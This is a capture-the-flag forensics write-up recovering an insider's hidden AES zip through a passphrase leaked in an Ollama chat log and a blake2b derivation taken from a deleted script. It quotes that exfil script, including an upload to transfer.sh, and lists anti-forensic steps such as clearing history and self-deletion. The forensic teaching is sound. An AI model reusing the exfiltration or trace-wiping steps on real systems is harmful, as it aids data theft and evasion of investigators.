0x11
← All write-ups
writeups://blackhat-mea-whisper-evidence Write-up

Write-up · BlackHat MEA 2026

Whisper Evidence: a Leaked Ollama Passphrase Opens a Hidden AES Zip

A BlackHat MEA Quals 2026 insider-threat forensics capture where most of the disk is deliberate noise. A plaintext passphrase leaks in a local Ollama chat log, a recovered exfil script reveals it is run through blake2b to key an AES zip hidden in a font cache, and the flag sits base64-encoded in a CSV that exists only inside the archive.

#forensics#dfir#crypto#insider-threat#ctf

Challenge: Whisper Evidence (BlackHat MEA Qualification CTF 2026) · Digital Forensics / Insider Threat. Prompt: A forensic capture of a compromised Linux host is provided; recover evidence of the insider’s data exfiltration and the flag. Flag format BHFlagY{...}. Artifacts: whisper_evidence/ — a near-complete Linux filesystem capture (/etc, /var/log, journal_exports/, system_info/, and the suspect’s home /home/dwright/). Flag: BHFlagY{l0c4l_0ll4m4_llm_f4r3n51c5_2026}

Most of the capture is deliberate noise: a .ollama/history of ~60 ordinary data-engineering questions, a Trash folder with ~60 plausible dev files, and four benign CSVs under /data/reports/. The real trail is three artifacts the insider (dwright) left behind. A six-line block buried in the Ollama chat log leaks a plaintext passphrase (Gr33nF0x42!D1amond); a disguised exfil script recovered from Trash (cache_mgr.py) shows the passphrase is run through blake2b to produce the real zip password (d571fe77618f54b7fca8); and that password opens an AES archive hidden at .cache/fontconfig/session.zip. The pivot is the derivation step — the leaked passphrase alone opens nothing, and only the recovered script reveals the exact transform. The flag sits base64-encoded in a master_vault row of internal_api_keys.csv, a file that exists only inside the archive, never in the plaintext /data/reports/.

First contact

The capture mirrors a normal Ubuntu host. Insider-threat triage ignores the system files and homes in on the suspect’s directory and its hidden state — chat logs, dotfiles, Trash, venvs, caches:

$ ls whisper_evidence/
data  etc  home  journal_exports  lib  opt  root  system_info  tmp  usr  var

$ find home/dwright -name '.*' -maxdepth 2 | grep -iE 'ollama|trash|cache|venv'
home/dwright/.ollama/history                                    (!)  local LLM chat log
home/dwright/.local/share/Trash/files/cache_mgr.py              (!)  deleted exfil script
home/dwright/.cache/fontconfig/session.zip                      (!)  284 KB AES archive
home/dwright/.local/share/.venv/lib/python3.12/site-packages        hidden venv (pyzipper)

file on the anomaly confirms it is out of place — fontconfig caches are not password-protected zips:

$ file home/dwright/.cache/fontconfig/session.zip
session.zip: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted

The investigation

Passphrase leaked in the LLM chat log

.ollama/history is ~60 lines of benign questions (logging config, YAML loading, FastAPI, Postgres) — padding. Six consecutive lines break character and narrate the plan, including the cleartext passphrase (!):

$ grep -n -A5 'password protected zip' home/dwright/.ollama/history
how do I create a password protected zip archive using pyzipper
write a python script that reads all csv files from a directory and creates an AES encrypted zip archive
use the password Gr33nF0x42!D1amond
also upload the archive to a remote server using requests and delete the script after successful execution
how do I derive an encryption key from a passphrase using hashlib sha256
how to clean the bash history in terminal so there are no traces

This hands over the passphrase, the tooling (pyzipper, AES zip), the intent (upload + self-delete), and — crucially — the warning that the key is derived, not used raw. It does not open the zip on its own.

The derivation disclosed by the deleted script

The exfil script, recovered from Trash and disguised with a """Cache management utility.""" docstring, is the ground truth for how the passphrase becomes the zip password:

$ sed -n '13,24p' home/dwright/.local/share/Trash/files/cache_mgr.py
raw_key = os.environ.get("CACHE_KEY", "")            # the passphrase, via env var
ARCHIVE_PASSWORD = hashlib.blake2b(
    raw_key.encode(), digest_size=32
).hexdigest()[:20].encode()                          # ← actual zip password
# DATA_DIR = /data/reports ; OUTPUT = ~/.cache/fontconfig/session.zip
# upload() → requests.put("https://transfer.sh/backup.zip", ...)

The chat log said sha256, but the code that actually ran uses blake2b (!) — the artifact overrides the actor’s description. Reproducing the derivation:

$ python3 -c "import hashlib; print(hashlib.blake2b(b'Gr33nF0x42!D1amond', digest_size=32).hexdigest()[:20])"
d571fe77618f54b7fca8

Opening the archive

d571fe77618f54b7fca8 opens session.zip, which holds five CSVs — one more than the four benign files in /data/reports/:

$ python3 - <<'PY'
import sys, hashlib
sys.path.insert(0, "home/dwright/.local/share/.venv/lib/python3.12/site-packages")
import pyzipper
pw = hashlib.blake2b(b"Gr33nF0x42!D1amond", digest_size=32).hexdigest()[:20].encode()
with pyzipper.AESZipFile("home/dwright/.cache/fontconfig/session.zip") as zf:
    zf.setpassword(pw); print(zf.namelist())
PY
['customers_2025.csv', 'employee_directory.csv', 'internal_api_keys.csv', 'revenue_q3.csv', 'vendor_contracts.csv']

internal_api_keys.csv is the planted sensitive file; its master_vault row carries a base64 blob where an API key should be:

master_vault,QkhGbGFnWXtsMGM0bF8wbGw0bTRfbGxtX2Y0cjNuNTFjNV8yMDI2fQ==,production,vault_root,security_team,11/1/2024,12/31/2025,Active

Dead ends

  • The ~60-line chat log and the ~60-file Trash bin are mostly padding — built to make you read everything. Only the six-line history block and cache_mgr.py matter.
  • /data/reports/*.csv on disk is clean — the flag is only in the fifth CSV that exists inside session.zip.
  • Trusting the chat log’s “sha256” claim — the script derives with blake2b; deriving with SHA-256 produces a wrong password and the zip never opens.
  • Chasing the transfer.sh upload / network logs — the exfil destination is a distraction; the recoverable archive is already on disk.

The pivot

The connecting insight is the recovered script: it is what turns a leaked-but-useless passphrase into a working key. The chat log gives Gr33nF0x42!D1amond, but it also says the key is derived — so the raw string won’t open the AES zip, and guessing the algorithm from the chat (sha256) fails. Only cache_mgr.py supplies the exact transform: blake2b, digest_size=32, hex, first 20 chars → d571fe77618f54b7fca8. That single derivation is the hinge the whole chain turns on; with it, opening the archive and reading the flag follow mechanically, and without it the archive is just noise with correct-looking bait inside.

Extracting the flag

Verified end to end against the evidence. The challenge bundles pyzipper in the suspect’s venv, so no install is needed:

$ cd whisper_evidence

# Derive the zip password exactly as cache_mgr.py does
$ python3 -c "import hashlib; print(hashlib.blake2b(b'Gr33nF0x42!D1amond', digest_size=32).hexdigest()[:20])"
d571fe77618f54b7fca8

# Extract internal_api_keys.csv and decode the master_vault row
$ python3 - <<'PY'
import sys, hashlib, base64
sys.path.insert(0, "home/dwright/.local/share/.venv/lib/python3.12/site-packages")
import pyzipper
pw = hashlib.blake2b(b"Gr33nF0x42!D1amond", digest_size=32).hexdigest()[:20].encode()
with pyzipper.AESZipFile("home/dwright/.cache/fontconfig/session.zip") as zf:
    zf.setpassword(pw)
    row = next(l for l in zf.read("internal_api_keys.csv").decode().splitlines()
               if l.startswith("master_vault"))
    print(base64.b64decode(row.split(",")[1]).decode())
PY
BHFlagY{l0c4l_0ll4m4_llm_f4r3n51c5_2026}

Or use the bundled solver:

$ python3 solve.py home/dwright/.cache/fontconfig/session.zip
[+] Derived encryption password: d571fe77618f54b7fca8
[!] FLAG FOUND: BHFlagY{l0c4l_0ll4m4_llm_f4r3n51c5_2026}

BHFlagY{l0c4l_0ll4m4_llm_f4r3n51c5_2026}

Takeaways

  • Local AI assistant histories are first-class forensic evidence. Users treat a local LLM as private and paste plaintext secrets and whole plans into it; .ollama/history (like .bash_history / .python_history) belongs in early triage.
  • Recovered source code outranks the suspect’s description of it. The chat said sha256; the script used blake2b. Derive keys and behavior from the artifact that actually ran, not from what the actor claimed.
  • A truncated-hash key derivation is cheap, effective obfuscation. When a password is hash(passphrase)[:n], the leaked passphrase is worthless without the exact algorithm, digest size, and truncation — capture all three verbatim.
  • Anomalies are about location. A 284 KB AES zip in a fontconfig cache, and a CSV that exists only inside an archive, are the signal; padded chat logs and a crowded Trash bin are deliberate time sinks.
  • What a careful actor would have scrubbed: the Ollama history (never typed the passphrase into it), the Trashed script (emptied Trash / shredded it), and the archive itself (deleted after a confirmed upload) — leaving any one of the three recoverable is what makes the case solvable.
// EOF ← All write-ups